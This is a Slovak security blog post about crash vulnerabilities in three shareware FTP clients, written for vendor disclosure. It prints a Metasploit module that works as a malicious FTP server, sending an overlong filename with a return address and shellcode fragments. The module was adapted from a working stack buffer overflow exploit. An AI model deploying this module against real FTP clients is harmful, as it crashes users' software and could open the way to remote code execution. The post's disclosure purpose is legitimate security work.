2010
Nadväzujeme na prechádzajúci príspevok o doposiaľ nereportovaných zraniteľnostiach týkajúci sa troch FTP klientov – Porta+ FTP Client 4.1, SmartFTP Client 4.0 a ALFTP FTP Client v. 5.2. Na základe odporúčania sme informovali developerov prostredníctvom e-info mailu. Dvaja z troch oslovených spoločností sa aktívne zaujímali o detailné informácie a stručný popis ako reporodukovať crash. Raketový response od SmartFTP Support bol následovaný otázkami zo strany ALTools Support. Ak sa čudujete prečo sa oslovené spoločnosti zaujímajú o zraniteľnosti, ktorých jediným (zatiaľ) výsledkom je pád aplikácie, odpoviem Vám proti otázkou, ktorú by isto nechceli dostať support manažéri
Prečo sme ako platiaci zákazníci vystavení DoS - Denial of Service (ako môžeme prehnane nazvať jednoduchý crash) resp. hrozbe vzdialeného spustenia kódu a užívatelia Open Source FTP klientov nie? Áno tripple rodinka FTP klientov patrí do rodiny shareware… Debugovať a implementovať spustenie kódu zaberá seriózny čas, ktorý nám momentálne chýba vzhľadom na pripravované projekty. V záujme zodpovedania na otázky developerov sme prepísali existujúci Metasploit modul - 32bit FTP Client Stack Buffer Overflow, pretože výborne vystihoval zraniteľnosť všetkých troch testovaných FTP klientov.
Vytvorili sme teda akýsi naozaj „hlúpy“
tripple_DoS modul prepisom skutočného a funkčného exploitu. Zvyšok kódu, ktorý nasleduje po zaslaní offsetu 12345 znakov považujte ako nefunkčný zvyšok po reálnom exploite. V skutočnosti pád pri dvoch klientoch nastáva na hranici 255+1 znakov – neošetrený vstup, no píšeme ehm DoS prečo teda nezadať šťastnú postupku?
Každý z týchto FTP klientov reaguje na príkaz špecificky, rýchle testy ukázali, že zvolený „payload“ & LIST príkaz spôsobí okamžitý pád dvoch, tretí klient ALFTP náklad ustojí, zostane však v pozícii mŕtveho chrobáka a prestane odpovedať na akýkoľvek podnet zruba pri offsete 50000.
Dummie modul:
# $Id: univesal_dos_list_reply.rb 10665 2010-10-13 03:03:24Z jduck $# This file is NOT part of the Metasploit Framework and should be used only for developers to analyze and fix their applications.# http://metasploit.com/framework/##class Metasploit3 < Msf::Exploit::RemoteRanking = GoodRankinginclude Msf::Exploit::Remote::FtpServerdef initialize(info = {})super(update_info(info,‘Name’ => ‘Universal trippple DoS module for Porta+ FTP Client 4.1, SmartFTP Client 4.0.1140.0, ALFTP FTP Client v. 5.2 ‘,‘Description’ => %q{This module exploits something… O_o. DoS, triggered when trying todownload a file that has an overly long filename.},‘Author’ =>['Vulcano', # found the bug - 3x'MI1' # dumb rewrite original module from Corelan - 32bitftp],‘License’ => MSF_LICENSE,‘Version’ => „$Revision: 10665 $“,‘References’ =>[[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],[ 'URL', 'http://www.hack4fun.eu/2010/10/tripple-dos-dummy-metasploit-module/' ],[ 'URL', 'http://www.hack4fun.eu/2010/10/corelan-metasploit-ftp-client-hunt/' ],],‘DefaultOptions’ =>{‘EXITFUNC’ => ‘thread’,},‘Payload’ =>{‘BadChars’ => „\x00\xff\x0a“,},‘Platform’ => ‘win’,‘Targets’ =>[[ 'XP Universal', { 'Offset' => 12345, 'Ret' => 0xD0EA907C } ], #RETN 32bitftp.exe],‘Privileged’ => false,‘DisclosureDate’ => ‘Oct 18 2010′,‘DefaultTarget’ => 0))enddef setupsuperenddef on_client_unknown_command(c,cmd,arg)c.put(„200 OK\r\n“)enddef on_client_command_list(c,arg)code = 150c.put(„#{code} OK.\r\n“)code = 226c.put(„#{code} Directory ok.\r\n“)conn = establish_data_connection(c)if(not conn)c.put(„425 Can’t build data connection\r\n“)returnendprint_status(“ – Data connection set up“)filename = “\x02″ #prevent crashfilename << „Bang.txt“ #se = \x73\x65 = jump forward, over filename, to hunterfilename << “ “ * 77#custom encoded egg hunter deleted mostlyfilename << „\x89\xe2\xda\xd6\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49″filename << „\x4b\x4f\x4d\x37\x41\x41″filename << “ “ * (target['Offset']-filename.length)addr1 = „\x40\x60\x3A\x76″ # RW imm32.dlladdr2 = „\x44\x54\x48\x00″ # data section 32bitftp.exeaddr3 = [target.ret].pack(‘V’) # b00m !strfile = filenamestrfile << addr3strfile << addr2strfile << addr1strfile << „w00tw00t“strfile << payload.encodedprint_status(“ – Sending directory list via data connection“)dirlist = „-rw-rw-r– 1 1176 1176 1060 Apr 23 23:17 #{strfile}.bin\r\n\r\n“conn.put(dirlist)conn.closeprint_status(“ – LIST sent, wait for user to double click file… This is only DoS, so no shell will be received or created!“)returnendend
Pre zodpovedanie otázok a oboznámenie sa s Ruby zatiaľ všetko, nechajme sa prekvapiť…


















Žádný komentář.
Přidat komentář